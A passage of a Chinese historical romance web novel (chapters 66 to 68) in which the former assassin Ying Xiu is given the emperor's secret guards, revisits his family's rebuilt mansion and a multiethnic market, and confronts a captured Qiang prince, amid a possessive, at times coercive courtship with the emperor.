他预感到,王道傀一定留了后手。 帝王屈指轻叩案几,太极殿的梁柱上翻身飞落几道身影,板正笔直地跪在地上,异口同声:“卑职参见陛下。” 赢秀不由愣住,这是……同行? 他不由想起,第一次在麓山客舍见到谢舟。 刚踏入楼台,他便隐隐察觉到四面似乎有人,当时以为是自己昨夜没睡好,以致于产生错觉。 现在想想,应当就是这群人了。 帝王轻声对悬镜司的暗卫道: “从今以后,他便是你们另一个主人,你们要听他调遣,护他平安。” 在场的每一个暗卫,无一不是从刀光剑影中浴血厮杀出来的,具有已臻化境的武功和顶级的城府。 说起来,他们对赢秀并不陌生。 第66章 第 66 章 重建 从前在江州时, 他们便奉命盯着赢秀,甚至在宁洲铜雀台交过手,对他的行事作风一清二楚。 品行端正, 善良单纯, 是个很好的少年。 暗卫们毫无异议, 跪地朝赢秀叩首, 从善如流地唤他:“主人。” 倒是赢秀,蹭的站了起来, 拱手朝他们回礼, 又极为不适应地摆了摆手:“别叫我主人……” 他总觉得,这话听上去怪怪的。 赢秀试图说些什么摆脱这个令人尴尬的称呼:“什么主人不主人的, 大家都是同行。” 话音甫落,暗卫们顿时神色巨变,重重磕头,异口同声道:“卑职不敢当。” 谁敢说自己和未来皇后是同行? 这话说出去可是要掉脑袋的。 看他们如此紧张, 赢秀也不好再说什么,也是, 认真来说,暗卫和刺客确实不算同行。 帝王并不在意这些小插曲,没看底下跪着的暗卫一眼,专注地望着赢秀, 轻声为他解释:“日后他们便跟在你身后, 你有什么想做的,尽管吩咐他们。” 还有一件事,帝王没有和赢秀说,赢秀可以调遣悬镜司,但是他吩咐的每一件事, 说的每一句话,悬镜司都会事无巨细地转述给他。 他命暗卫重点关注赢秀身边的那些好友,防止有人动歪心思。 赢秀心里说不出的感动,谢舟对他真的太好了,竟然愿意把心腹暗卫给他调遣。 给人当了那么久的下属,他总算有机会当一回上峰。 首先要把下属的待遇提高,涨月例,吩咐御膳房给他们包吃,再安排地方给他们住,另外每人安排一只鸱鸮。 赢秀逐一把想法说了出来,心满意足,他当刺客时一直盼着主家包吃包住发月例,可是总是被上峰克扣银子,要是没有鉴心时不时救济他,他外出只能睡阁楼。 如今愿望也算是实现了。 以为新主子要开始立威的暗卫们:“……” 眼泪突然从嘴巴里流出来了,御膳房的饭菜,嘿嘿,好吃。 暗卫:“ (^▽^) ” 侍立在一旁的宫人悄悄在心里嘀咕,想不到这男宠竟然如此会收买人心。 嘤嘤,怎么不来收买他们。 帝王从未注意过暗卫的伙食,他也不关心这些琐碎小事。 只是,他没想到赢秀竟然对暗卫这么上心,衣食住行,样样都注意到了。 赢秀正在为自己实现心愿而高兴,面颊微凉,帝王修长冰凉的指尖擦过他的侧脸,不轻不重地捏了捏他的腮帮子。 谢舟似乎很喜欢捏他,也不知道是什么时候养成的坏习惯。 少年气恼地看过去,仰头对上一双狭长幽邃的眸瞳,同时,温凉平静的声音裹挟着幽幽寒意,穿透脆弱的耳膜: “你怎么不想想寡人?” 赢秀郑重思考,老实交代:“想了,一直在想。”他似乎怕帝王不信,伸手指了指自己的胸膛,属于心脏的位置,强调:“这里。” 这里,一直在想你。 “咚——” 仿佛鼓面被敲响,心脏受了一记轻轻的锤击。 帝王一时沉默,这些话,是谁教赢秀的? 帝王天生多疑,听到自己喜欢的话,第一时间不是高兴,而是怀疑。 他轻轻抚过赢秀的发旋,掌心覆盖在浓郁柔软的发丝上,一手为梳,缓缓穿插入发间,替他梳理垂在肩上的马尾。 一壁梳,一壁不经意地问他:“这些话,是谁教你的。” 又是一个平静得像是陈述的问题。 谢舟真的很爱问问题,赢秀暗暗在心里记下来。 迎着帝王深沉探究的目光,少年认真道:“你教我的。” 谁也没想到,他竟然会用帝王的话来反驳帝王:“是你要我多想想你,我告诉你我一直在想你,可是你又不相信,我说不想,你又不高兴。” 说到最后,赢秀试着和谢舟商量:“我要怎么想?” 少年的眼眸清澈,明亮,发自内心地询问,他要怎么做,才能让他相信。 谢舟俯视那目光,仿佛被什么烫到,慢慢收回手,良久,终于低声回应他:“……什么也不用想。” 赢秀什么也不用想,只要他还是他自己,谢舟就会一直是谢舟。 谢舟收回手,赢秀反而伸出手,靠了过去,主动抱住他,轻轻拍着帝王高挺的脊背,像个成熟的大人一样安慰他: “你也可以做自己,我会陪着你的。” 无论是良善无害的门客谢舟,还是可怕的暴君殷奂,他都会陪着他。 但是,赢秀不会告诉他,其实他有一点点怕殷奂。 不多,一点点而已,还不至于让他卷包袱跑路。 殷奂伸手,轻轻拍了拍少年,力道放得很轻,像是生怕惊动了什么。 ——做自己么? 只怕赢秀会更加害怕。 赢秀自认已经把话说开,最后郑重地拍了拍帝王,高高兴兴地领着暗卫走了,临行前说自己要出宫。 建康这么大,他还没有出去见识过呢! 左右寿春坞主案暂且告一段落,他得领着爹爹好好出去玩一玩。 赢秀已经全然忘了,谢舟当时告诉他要留在太极殿,不能外出一步。 在他身后,帝王站起身,未发一言,过了片刻,对闻讯赶来的禁军统领道: “好好看着他。” 言下之意,便是默许赢秀可以出宫。 禁军统领跪地叩首,郑重点头,“属下必定会护好皇后。” “皇后”二字一出,太极殿内的宫侍又是一惊,忙不迭地低眉垂首,屏息敛声。 这是明晃晃的站队,还是站在来历不明的男宠身后,陛下向来多疑,不知会如何作想。 纵使再喜欢那个男宠,只怕都免不了忌惮怀疑。 出乎所有人的意料,帝王轻轻颔首,只说了一个字: “赏。” 禁军统领在宫里称呼男宠为皇后,受天子恩赏,此事传出去,在京畿掀起轩然大波。 抵触男后,只会吃不了兜着走,站在男后这边,暴君一开心,说不定会有所赏赐。 一时间,南朝上下掀起一阵吹捧男后的风气,大街小巷,随处可见有人夸赞那个不知姓名来历的男后。 赢秀出宫这一日,乘着马车经过长街,远远听见有人议论:“……必定是天上神仙,美姿容,善言笑,举世无双大美人也。” 一听到大美人三个字,赢秀连忙叫停马车,揭开车帷朝外看去,看了半天,却只看见楼台上几个少年正在谈论,没看见所谓的大美人。 赢秀心中实在好奇,带上斗笠,钻出马车,登上楼台,随意在角落找了一方案几坐下,叫跑堂上了一壶清茶,一面饮,一面竖耳听。 “那位必定是美人,不然……也不会如此宠爱他。” “……不是好色之徒,若是他好色,何至于后宫虚置数十年。” 几个年轻的少男少女围案而坐,不知在谈论何人,每逢谈起,都会默契地压低声量。 仿佛那人是什么洪水猛兽,以致于不敢大声谈起。 “——你们说的美人是谁?” 少年声音清亮,明朗,犹如朗日照怀。 少男少女们循声望去,在角落看见一个头戴斗笠的少年,白纱遮住了他的面容,只能隐约看见一点秀气明晰的轮廓。 “你不知道?” 少年们看了看他身上华丽的金裳,以及细颈后垂下的金色发带,此人分明是在模仿男后的打扮,怎么可能不知道? 少年大多心高气傲,不喜欢此等附庸风雅之辈,转过头去,不再搭理赢秀。 赢秀:“(T▽T)” 为什么大家不理他。 他颇感失落,朝外走去,却听见身后有人压低声音道:“据说,那位男后容色倾城,毫不逊色于陛下……” 当今陛下美威仪,容光慑人,亦闻名南朝。 只是,过人的容貌,比起他残暴嗜杀的性子,又显得那么不值一提。 ——男后? 赢秀的耳尖动了动,他有些怀疑自己听错了,回首问道:“你们方才说的是男后?” 那岂不是在说他? “是又如何?” 少男少女们狐疑地盯着眼前带着斗笠的金裳少年,不看不知道,一看吓一跳,这人身上的衣裳看似低调,实则做工精细,布料华贵,是他们从未见过的料子。 难不成…… 不可能,他们迅速打消了那不切实际的念头,那位未来男后怎么可能离开禁宫,暴君又怎会放任他离开宫闱。 意识到他们口中所说的大美人是自己,赢秀有一瞬间的呆滞,他走下楼台,走到转角处,伸手摸了摸自己的脸。 嗯……其实也没有很美,一般般美而已。 没有遇到谢舟之前,赢秀睡前喜欢用剑身照自己的真容,像是金鹤打理自己的翎羽,骄傲地看了又看,随后心满意足地入睡。 遇到谢舟之后,他一心沉迷于看谢舟。 ——谢舟才是真正的超级大美人! 赢秀很想回首反驳他们,想了想,倒也不必执着口舌之争,坐上马车,继续往前走。 马车很快便驰到了东坊,此处毗邻秦淮河,位于上游,闹中取静,乃是京师中寸土寸金之地。 爹爹就住在这里。 马车停在一处崭新的门庭边,华丽门匾上落款瘐府,字迹很是眼熟,仿佛在哪里看过。 赢秀跳下马车,任由长风带起他的发带和袖袂,驻足在门前,仰头盯着那道恢宏牌匾看了看,认出那是谢舟的字迹。 当今圣上的御笔。 少年没想到,谢舟竟然瞒着他,给瘐家题了字。 他决定回去要好好亲一亲谢舟。 还不等叩门,门扉吱呀一声打开,瘐安走出来,招呼道:“赢秀!快进来,早就给你备好菜了!” 他还热情地朝车夫招手,“你们要不要也进来用膳?” 车夫受宠若惊,连忙摇了摇头,拱手道谢。 “陛下一早就派人和我说了,你要来看我,我特意去买了些好酒好菜……”瘐安拉着赢秀在院子里坐下,一面上菜,一面絮絮叨叨地说道。 他对谢舟的态度与先前大不相同,赢秀不免有点好奇,“爹,您现在知道谢舟的好了?” 瘐安动作一顿,不由自主地想起前不久,他刚刚辞别赢秀从太极殿出来,正想跟着宫侍出宫,宫侍却叫他去御书房等着。 站在御书房等着了许久,帝王终于来了,一身衮服,冕旒遮住面容,神色看不真切,浓重的压迫感压得他几乎喘不上气。 原来,这就是天威。 他跪在殿前,跪在天子面前,久久等不到对方发话,忍不住开口询问:“陛下,您专程留下草民,可是有什么话要说?” 天子端坐在龙椅上,居高临下地俯视他,目光中没有恶意,也无丝毫善意,仿佛他与花草无异。 “岳父,请起。” 年轻的天子语气低沉平静,听不出一丝对长辈的恭敬,温凉淡漠。 瘐安万万想不到他竟然会称呼自己为岳父,更加不敢起身,跪在柔软地衣上,小心翼翼地回绝:“陛下这句岳父,草民着实惶恐——” 还不等他把话说完,头顶陡然传来不轻不重的脚步声,抬头看去,黑暗中走出几位宫侍,手里都端着漆红托盘,上方蒙着红布,上面的东西似乎是颗圆球。 瘐安心脏一跳,一个不妙的预感骤然浮上心头。 宫侍们站定后,低眉垂首,面无表情,宛如一尊尊精美泥俑,捧着托盘,立在不远处。 琉璃灯煌煌,照得大殿森罗可怖。 “寡人听说,岳父这些年一直受人追杀,永宁八年受了重伤,因此放任赢秀寄养在士族府中。” 天子语气很轻,斯条慢理,听不出喜怒,却叫瘐安冷汗津津,如此久远之事,他甚至没有告诉赢秀,皇帝怎么会…… 是了,他竟然忘了。 眼前人可是令天下闻风丧胆的暴君。 天子好似没有看见瘐安警惕紧绷的神色,不紧不慢,继续道:“这些人的追杀,让赢秀小时候不得不颠沛流离,如今,他们也该付出代价。” 红布揭开,露出托盘上盛着的什物。 一双双凝固在死前最后一刻,惊恐绝望的眼眸,静静地俯视着瘐安。 瘐安浑身一震,他认得这些人,这些都是如同鬼魅般咬死他不放的绝顶杀手。 若没有少时云游天下,江湖上学来的一身轻功,只怕他早就死于非命了。 无视瘐安脸上的震悚,天子走下龙椅,不疾不徐地走到他面前,立在几步之外,垂眸睨着他,平静地重复了一遍: “岳父,请起。” 这一回,瘐安以手支地,艰难地爬了起来,露出一个僵硬的表情,眼如寒星,锐不可当,“陛下,草民只问您一个问题,” “说。”天子道。 “等您厌弃了赢秀,不要杀他,请让我带他走吧。”一个年迈的父亲恳求道。 烛影晃动,宛如庞大鬼魅,映照得天子忽明忽暗的脸色,恐怖的威压无声地蔓延,宫侍捧着人头跪了一地。 惟有瘐安还站着,一脸固执,僵持不动。 “——好。” 天子低垂眉眼,第一次也是最后一次,正眼看了他一眼。 …… “爹!你发什么呆?” 道熟悉的少年音唤回了瘐安的思绪,他回过神来,正好看见赢秀在眼前挥手。 “没事,突然想起一些旧事罢了。”瘐安笑了笑,若无其事地端上菜肴。 赢秀狐疑地盯着爹爹看,试图从爹爹脸上看出端倪,他总觉得爹爹有点魂不守舍的,难不成是住在建康水土不服? 知子莫若父,瘐安赶在他开口之前转移话题: “这处宅子旧址是瘐家原先在建康的府邸,风吹雨蚀,已经破得不成样子了,陛下一早就命人按照原来的样子修葺好,用完膳,我带你去看看你爹娘旧时的住处。” 天子对赢秀确实上心,专程命人按照瘐府原来的布局重建,就连花草树木,亭台楼阁,也布置得一模一样。 漂泊十四年,赢秀也算是回家了。 瘐安吃着吃着,忍不住落泪。 “爹!”赢秀如临大敌,扔下双箸,起身查看瘐安的身子骨,万分紧张:“您不会要死了吧?我这就叫太医给您看看!” 宫廷御医,也是他能看的? 赢秀也是被惯得无法无天了,张口便叫太医。 瘐安没好气地撇开他的手,眼泪都被他气没了,“你啊——” 他想了片刻,也想不出该叮嘱赢秀什么好,叮嘱他谨慎些吧,京畿如此危险,赢秀的安危实际上全系在天子一人身上,与他谨不谨慎毫无瓜葛。 叮嘱他多多讨好殷家人,他又觉得这话怎么也说不出口,怎么都别扭。 没办法,酝酿了半天,瘐安只得中气十足地说了一句:“吃饭!” 赢秀乖乖坐下吃饭,爹爹嗓门这么大,看来一时半会死不了,待会儿再传个御医给他看看。 用完膳后,赢秀跟着爹爹把瘐府上下逛了一遍。 说实话,瘐府清贫简朴,两进的院子,东西各一个厢房,再加一个不大的庭院,实在没什么可看的。 小小的一方天地,赢秀走走停停,看了很久。 真正的瘐府已经覆灭了,在十几载春秋前就已经樯倾楫摧,不复存在。 屹立在赢秀眼前的,是谢舟为他重建的瘐府。 第67章 第 67 章 又叫错名字了 草木葳蕤, 清风徐来,在赢秀看来,瘐府每一处都无比新奇。 走过石阶, 登上府中最高的楼台, 远眺是外面一条素练似的秦淮河, 近看是自家府门。 瘐安凭栏而立, 目光遥远,“当年你爹娘就站在这里, 怀里抱着你, 远远地看着府门。” 建元八年的七月,明昔鸾刚刚生下赢秀, 身体虚弱,不能从军,只能待在京师,瘐明留京陪着她。 瘐安为了避嫌, 明面上已经和瘐明一家决裂,离京在外游历, 某日收到兄嫂传书,得知侄子出生的消息,千里迢迢归来。 长夜里,立在门下远远看了一眼。 兄嫂叫他留下歇一歇, 彼时还是少年的瘐安摇了摇头, 转身翻身上马,冒着风雪,赶在被人发现之前离开了京师。 此后三年,他再也没有回过京师。 直到瘐家出事,满门抄斩。 风雪消融, 立在楼台上等候的人变成了瘐安。 春风终于来了,却吹得他两鬓斑白,就像建元八年,冒雪归家的少年鬓上的霜。 “兄长,嫂嫂,我回来了,” 年迈的瘐安低声道。 这次回来,再也不走了。 “爹!你别哭了……” 瘐安眼眶里的晶莹看得赢秀心里闷闷的,他吸了吸鼻子,伸手触碰脸颊,后知后觉自己脸上也有两行湿润。 爹爹坏,把眼泪传染给了他。 赢秀决定罚爹爹陪自己游玩京师。 一听要出门,瘐安下意识摸了摸自己的脸,脸上出现了罕见的为难之色。 羌人和汉人虽说都是黑发黑眼,到底是不同的,汉人的眉眼相对柔和精致,羌人则是浓眉大眼,五官深邃立体,身量也高,体格壮实。 他是两族的血脉,身上流着羌人的血,长得也像极了羌人,少年时在京师没少受到白眼和唾弃。 久而久之,也就养成了不管在何处都深居简出,不与外人接触的习惯。 看出爹爹的顾虑,赢秀什么也没说,拉着爹爹走到马车旁,掏出一顶帷帽,踮起脚一把套在爹爹头上。 ……套歪了。 赢秀踮起脚尖伸手试图扶正,更歪了。 赢秀:“(QnQ)” 瘐安:“……” 他一时不知该哭还是该笑,默默伸手扶正了自己头顶的帷帽,中气十足地喝了一声:“走!” 赢秀本想和爹爹坐一辆马车,孰料暗卫已经准备了两辆,还特意叮嘱其中一辆是根据瘐安的身高特意定制的。 赢秀:“……” 他很矮吗?也就比爹爹矮了一点点而已。 望着两辆高低不一的马车,金裳少年羞愤难当,径直钻入属于自己的矮马车。 暗卫暗自抹了一把汗,陛下吩咐了,不许任何人和主子同处一室,他们琢磨了半天,总算想出了这个法子。 这么丰厚的月例不是一般人能拿的。 暗卫自豪地称自己为二般人。 马车经过铜驼大街,驰过铜雀桥,途径长干里。 江左山陇与城南的山冈交错,形成了一条条大小不一的长干,不少百姓就住在这里。 长干里西面毗邻西锦绣坊,顾名思义,锦绣天地,聚四海人士,贩八方奇珍。 马车停下,赢秀带上帷帽,轻轻巧巧地跳下马车,回首看向后面那辆马车。 爹爹跟着跃了下来,正一脸疑惑地看着他,不明白为何要来此地。 很快,瘐安便明白了。 坊内坐落着琳琅满目的商铺,卖着各式各样稀奇古怪的物什,更重要的是,这里有很多羌人。 男女老少,或是穿着羌部服装,或是穿着南朝的汉衣,神色自若地穿梭在人流中,仿佛这是再平常不过的一天。 这其中亦有南朝人,对羌人的态度再寻常不过,甚至还会与羌人打招呼。 “来啦,快来看看今日吃什么?” ——“给我来一碗草原酥酪!” “好嘞!” 瘐安愣在原地,不敢相信,原来,羌人竟然也能和南朝人和平相处。 在此间天地,仿佛没有地域种族之分。 “爹,”赢秀发现爹爹一日之内发了好多次呆,他不免有点忧心,难道爹爹年纪大了脑子也不好了? 看来,这回真得请御医了。 赶在赢秀请太医之前,瘐安制止了他,似乎想起什么,问道:“这里,究竟是怎么回事?” 南朝人和羌人,怎么可能共处一地,还相处得如此和谐。 赢秀拉着爹爹寻了一处茶楼坐下,点了几道点心,不忘给随行的暗卫也点了菜,解释道:“前阵子羌部使者进京,向天子请求南北互市,天子应允,北方羌族商贾陆续而来,互通有无。” “而且如今四洲大运河竣工,水运便利,往来便捷。” 这才有了如今南人与北人相处融洽的一幕。 想到那位表面温和,手段残忍的暴君,瘐安陷入了沉默,他默许赢秀和帝王在一起,是迫于无奈,别无选择。 如今看来,帝王在朝政上不仅有铁血手腕,还有恤民温情。 似乎,并非世人口中暴虐恣睢的暴君那么简单。 赢秀遇见这样的人,也不知道是幸运还是不幸。 赢秀见不得爹爹出神,吃完点心后,拉着他走出了茶楼,一老一少,在西锦绣坊走走停停。 走了不到半个时辰,暗卫们的手上已经提满了东西,这其中也有不少是赢秀买给他们的东西。 他们相视一眼,露出一个喜气洋洋的笑容。 买!再买点! 能带薪出游再好不过了。 夕阳西下,赢秀和爹爹几乎走遍了整座西锦绣坊,走到最后,所有人都走不动了,不是因为累,而是因为吃撑了。 这一路上,赢秀一见到新奇的羌部小吃,都会买来给大伙尝一尝。 暗卫们起先严肃拒绝,拒绝了两回,终于动摇,平生第一次,奉主子之命,吃好吃的。 嘿嘿,好吃,真好吃啊,嚼嚼嚼。 瘐安一回头,暗卫们立即恢复了一脸严肃的模样。 瘐安:“……” 方才是他看错了吗?他怎么感觉,这群看似肃杀的仆从似乎还挺……萌的。 他回头看了一眼身侧的赢秀,少年头戴帷帽,双手捧着一盏酥酪,吃得不亦乐乎,似乎是察觉到他的目光,仰头看了他一眼。 “爹,您吃吗?我叫人给您多买一份。”说着,赢秀下意识将手里的酥酪往前递了递,眼睛亮晶晶的,似乎很期待。 瘐安:“……” 敢情他们都是你带坏的。 他随意摆了摆手,年纪大了,吃不下。 少年时没有机会吃,等到如今,也吃不了了。 暮色四合,霞光洒遍人间,瘐安望着西锦绣坊的方向,心想要是能回到少年时该多好。 元熙帝怎么不死早一点,早一点让昭肃帝继位。 回去的路上,马车再次经过铜驼大街时。 这个时辰大多数人都已经放衙,忙着归家,因此街上多了许多人。 远远的,赢秀在马车内听见外面百姓在焦急地议论。 “听说淮水一带出了事,羌族世子归国,涉水过江时,落水失踪了……” “边境那群羌人非说我们扣留了世子,要我们交出世子,不然就……” 赢秀忍不住蹙眉,他看过舆图,知道淮水一带毗邻寿春,如今寿春坞主案还未彻底结案,突然传来羌部世子在淮水失踪的消息…… 他觉得,两者冥冥中似乎有某种不可言说的联系。 抱着这种念头,赢秀回到了太极殿,殿内早已点起琉璃灯,粲然光转,恢宏华丽。 大殿中央置着一张长案,上面摆满了新鲜的珍馐,以及两席华美的碗碟,显然是在等他用膳。 赢秀为难地看了一眼案几上的佳肴,他真的吃不下了…… 珠帘轻晃,身着衮服的高挑身影从里间走出来,帝王垂眸看他,语气不容置喙:“坐下用膳。” 赢秀乖乖坐下,拿起玉箸,勉强吃了两口,忍不住开口:“殷奂,我听说羌族世子在淮水一带失踪了,这究竟怎么一回事?” 似是没想到这事竟然会传到赢秀耳中,帝王执箸的动作微滞,神色平静,“他们贼喊捉贼,想要围魏救赵。” 赢秀没有听过围魏救赵的典故,琢磨了一下,灵机一动,感觉自己发现了真相,“难道世子没有失踪?” 帝王并不急着用膳,耐心地为他解释:“他准备假装失踪,寡人发现的时候,他已经过了淮水,即将回到中原关内。” 世子隐匿行踪回到北方,明面上在南朝境内失踪,羌人以此为借口,向南朝施压。 按照羌族的计划,理应如此进行。 传闻说昭肃帝在民间蛰伏了上万斥候,并非空穴来风。 世子让替身在淮水落水,扮作侍从在守卫的护送下悄悄离开,却被斥候发现…… 这下,世子是真的失踪了。 帝王说得慢条斯理,淡漠平静,毫不在意外面的流言蜚语,对赢秀道:“你想见他么?也许能从他口中得知一些关于令慈的消息。” 明昔鸾,他的生母。 赢秀愣了一下,想不到谢舟竟然会替他考虑到这一方面。 少年骤然放下双箸,站起身,走了两步,靠近谢舟,小心翼翼地从后面环住了帝王块垒分明的腰腹。 脑袋靠在他笔挺的肩膀上,紧贴着对方,赢秀闷闷地说了一句:“谢舟,你真好。” 说完这句话,他才猛然意识到自己又嘴瓢了,连忙改口重新说了一遍。 对于他三番四次叫错名字,帝王表面上没有反应,似乎也不甚在意,在赢秀看不到的地方,他眸瞳湛若冰玉,幽暗莫测的冷光一掠而过,难以琢磨。 “——你想什么时候见他?” 帝王轻声问赢秀。 赢秀一直弯着腰,有些累了,收回手,站了起来,想了想,道:“都行。” 赢秀的生命中似乎没有嫉妒这个词,他不会妒忌帝王选秀,也不会妒忌羌族王孙占据了他的母亲。 帝王面无表情,平静地想道。 他本可以让世子将有关明昔鸾的一切写下来,再呈给赢秀,如此一来,便不必让赢秀又接触到一个新的人。 这几日以来,那群暗卫对赢秀有多崇拜,他并非不知。 分明才相处了不到十日而已。 帝王越想,昳丽眸瞳便越加冰冷,孰料一旁的少年再度弯下腰,缓慢靠近,作势要吻他的眼眸。 绣着九爪金龙的袍裾下,一截如玉悬腕,骨节明晰的指尖扼住玉箸,冷白肌理上浮现青筋。 他在紧张。 帝王不得不承认。 头一次俯视着谢舟,由上至下,清晰地看见他轻颤的修长眼睫,以及眼睑处根根分明的阴影。 赢秀起了坏心,故意僵持了好一会儿,维持着现在的姿势,低眉凝视,就是不亲下去。 眼看谢舟眼睫颤动,似乎要向上抬起,赢秀连忙制止,贴着他的耳廓,凶巴巴地威胁:“不许睁眼。” 谢舟:“……” 他无奈地合上了几欲睁开的眼帘,不动声色地攥住玉箸,安静地等待着。 温热,柔软,软得像荔枝。 缓缓贴上他的眼眸,覆在纤细浓密的眼睫上,一触即分。 短暂得像是幻觉。 帝王睁开眼眸,漆黑的眸瞳迎着漼漼烛火,直视着金裳少年。 少年还维持着方才那个姿势,双手搭在他身下的圈椅扶手上,倾斜着身子,靠得很近,仿佛要把他圈在怀里。 “啊,”赢秀忍不住睁大眼眸,小声叫了一下,清澈眼底满是气恼,谢舟竟然推他! 这一推不要推,少年直接面对面跌在了帝王怀里,脑袋险些磕到对方的下颌,幸好没磕到,只是磕到了对方的胸膛。 硬邦邦的,犹如铜筋铁肋,壁垒分明。 直磕得赢秀眼底冒出了泪花,他张口便要痛斥:“谢舟!你怎么能——” “又忘了。” 帝王神色平静,幽幽道。 短短三个字,却给赢秀带了了难以言喻的危险感,他挣扎着想要起身,腰肢却被一只大掌牢牢扼住,不知碰到哪里,他瞬间便失了力。 下一刻。 修长冰凉的指尖探进他的牙关,赢秀下意识想要闭口,另外两根指尖掐住他的腮肉,重力施压下,迫使牙关不得不张开。 殷奂静静地俯视他,漆黑目光分外平静,“再叫一遍。” 赢秀:“(QoQ)” 这种情况下,他怎么叫? 你之前不是说,你无所谓我叫你什么名字么? 第68章 第 68 章 皇权 太极殿内灯夺霁华, 宫人无声地退立在远处,不敢抬首窥帝后。 赢秀狠狠地瞪了帝王一眼,张着口, 努力地吐出两个模糊的音节:“因还……” 帝王垂眉, 神色淡淡, 看上去平静极了, 赢秀却忍不住瑟缩了一下,就在方才, 探入他口中的指尖更深了一寸, 甚至能感受到突出的冰凉骨节。 “寡人不叫因还。” 帝王一面作弄他,一面淡声陈述, 咬字清晰,听起来就像是好意提醒。 少年气得眼眸变圆,气鼓鼓地咬紧牙关,试探咬住他的指尖。 似是察觉到他的想法, 钳住他两颊的两指骤然用力,宛如铁铸, 按得柔软的腮肉下陷,陷出两道圆圆的梨涡。 赢秀有点想哭,之前怎么没发现谢舟是这么坏心眼的人,早知道……早知道他就…… 他仰起头, 望着帝王出神, 美威仪,容光慑人,当真是世无其二的美人。 像是不满意赢秀的走神,帝王俯下身,愈发靠近, 那双昳丽清冷的眼眸几乎要直直撞入赢秀的眼底。 危险,十分危险。 眼下的情形比刺杀当夜似乎还要可怕。 赢秀灵机一动,垂死挣扎:“香青……” 想亲他,不管是谢舟还是殷奂。 在少年眼巴巴的注视下,帝王扼住他两颊的指尖微不可察地一颤,力道顿消,抽出探进他口中的指尖。 赢秀眼睁睁地看着帝王修长好看的指尖上连着一线可疑的晶莹,他羞得脸红了一片,从头到脚一阵嗡鸣,险些连头发丝也跟着红了。 这……这…… 都怪谢舟……都怪殷奂! 帝王循着他的视线,看向自己的指尖,脸上的表情毫无变化,用雪白净帕随意地擦了擦手,示意他:“亲。” 赢秀视死如归,迎着对方居高临下的目光,小心翼翼地凑了过去,正想像方才那般亲他的眼皮,帝王却虚虚地点了点他的唇,眸瞳中赫然写着—— “亲这里。” 亲就亲吧,又不是没亲过。 赢秀壮着胆子,一鼓作气,仰起头,重重磕上对方微凉的唇。 是磕,而非亲。 帝王眉眼间掠过淡淡的无奈,轻轻捧住少年的后脑勺,垂首,深入。 不知过了多久,帝王终于放开他,问他:“记住了吗?” 赢秀舌尖一片酥麻,就像生吃了辣椒,上面还残留着几道深深的牙印,他认真道:“既祝乐……” 他再也不叫错名字了。 赢秀暗暗在心里记下,谢舟很在意名字,必须管他叫殷奂,不然他就会生气。 帝王轻轻笑了一下,维持着这个姿势,替他梳理弄乱的发丝,温声细语:“我听说,你一听到大美人三个字,就着急忙慌地下马车去看?” 不知为何,赢秀竟然有点心虚,谢舟的声音越平静,他心里就越怕得慌,七上八下的,斟酌着为自己辩解: “我是看了没错,但是我之所以去看,是因为想看看这天底下谁能有你好看……” 绝对不是因为对别的美人产生了兴趣,赢秀恨不得举起双手双脚为自己开脱。 “哦?”帝王眸光湛若冰玉,不轻不重地剜过他的面颊,仿佛要透过皮囊看穿他的内心,“是么?” 赢秀点头如捣蒜,“是啊,你猜怎么着,他们说的美人是男后,那不就是我吗……” 在帝王的俯视下,少年的声音越来越低,直至消失。 赢秀干笑了两声,试图缓解气氛,却意外发现气氛更加沉凝古怪了,他牢牢地闭上嘴,冲谢舟眨了眨眼。 帝王伸出手,指尖不轻不重地点在他的眼皮上,在对方的指尖落下之前,赢秀迅速闭上了眼。 黑暗中,听觉更加清晰,赢秀听见帝王宛如玉质的声音,很轻,蕴含着惊人的危险: “你再看别的美人一眼,寡人就——” 尾音微微拖长,意味深长,吓得赢秀一激灵,不知是不是他的错觉,他总觉得谢舟想要他的眼睛。 是错觉吧…… 谢舟这么好的人,当初要和他分开,他也只是淡淡地“嗯”了一句,看起来一点都不伤心,也不生气。 想起湖心亭那一夜,赢秀都有些后悔了,他不该说自己看腻了,导致谢舟一直患得患失。 金裳少年的眼眸骤然认真起来,他抱紧谢舟,解释道:“湖心亭那日,是我说错了话,当时我要去刺杀皇帝,不愿连累了你,所以才……” 所以才会主动和谢舟分开。 帝王读懂了他未竟之言,伸手抚摸他的漆黑柔软的鬓发,露出一个平静的微笑。 不重要,一切都不重要。赢秀爱不爱他,对他来说,不重要。 只要他想要赢秀,无论爱还是不爱,赢秀都不能离开他。 心底紧绷的弦彻底放松,赢秀骤然想起一件至关紧要的事,神色都变得有些严肃,就连帝王都忍不住侧目。 “殷奂,你快用膳,饿坏了就不好了。”少年严肃提醒。 帝王:“……” 用完膳后,暗卫领着赢秀来到了宫闱深处的天牢,漆黑的地道中,一个形容狼狈,身长体壮的羌人被关在角落。 那人正是羌族世子。 在江洲堰口上,赢秀曾经与他有一面之缘。 用羌语问起明昔鸾,世子神色复杂,隔着狱门仔细打量赢秀,目光骤然警惕:“你是谁?和阿依是什么关系?” 阿依,羌部对王妃的尊称。 赢秀此番前来,手中提剑,缓缓横剑出鞘,轻声问道:“你知道什么,还请尽数说来。” “我是羌部王子,你伤了我,我阿耶会举兵南下,杀尽南人。”世子神色倨傲,冷冷地威胁,眼中满是对于这些南人的不屑。 纵使计划有变,他被南人所擒,他也不相信这些弃国南渡的软骨头真的有胆子伤他。 一旁,负责刑讯的刑名淡淡看了他一眼,对赢秀恭敬道:“郎君,还请等某半刻钟。” 半刻钟后,赢秀从世子口中得知了所有关于明昔鸾的消息。 在世子口中,明昔鸾是一个柔弱的病美人,出身南人,在羌王的□□备受争议。 但是不知为何,羌王却格外喜爱她,特意造了一座鸾台,让她居住。 只有逢年过节,羌王高兴了,才会让她在人前露面,更多时候,没人能看见这个羌族阿依。 世子的口吻充满了恶意:“我远远见过她一面,她像是一只美丽柔弱的鸟,供人亵玩。就像南朝,羸弱不堪,迟早会被——” 他话音戛然而止,脸上漆画似浓重的轻蔑骤然褪尽,不可置信地低下头,颈项下一寸,雪白剑尖正抵在跳动的脉搏上。 金裳少年静静望着他:“继续说。” 世子面色苍白,心底一片寒意,一个字也说不出口。 赢秀缓缓收剑,刑名却道:“陛下交代过,您可以处决他。” 世子虽然听不懂南朝的语言,但是他鉴貌辨色,已然明白刑名在说什么,心生恐惧,又不得不强装镇定。 “不,”赢秀拒绝,“他是世子,就是要死,现在也不是时候。” 他用的南人的语言,世子听不懂,隐隐察觉出些许端倪,用羌语质问他:“你为什么不用羌语说话?!” 正在往外走的赢秀回过头,立在烛影下,视线穿透黑暗,轻轻一瞥,最后说了一句: “这里是南朝。” 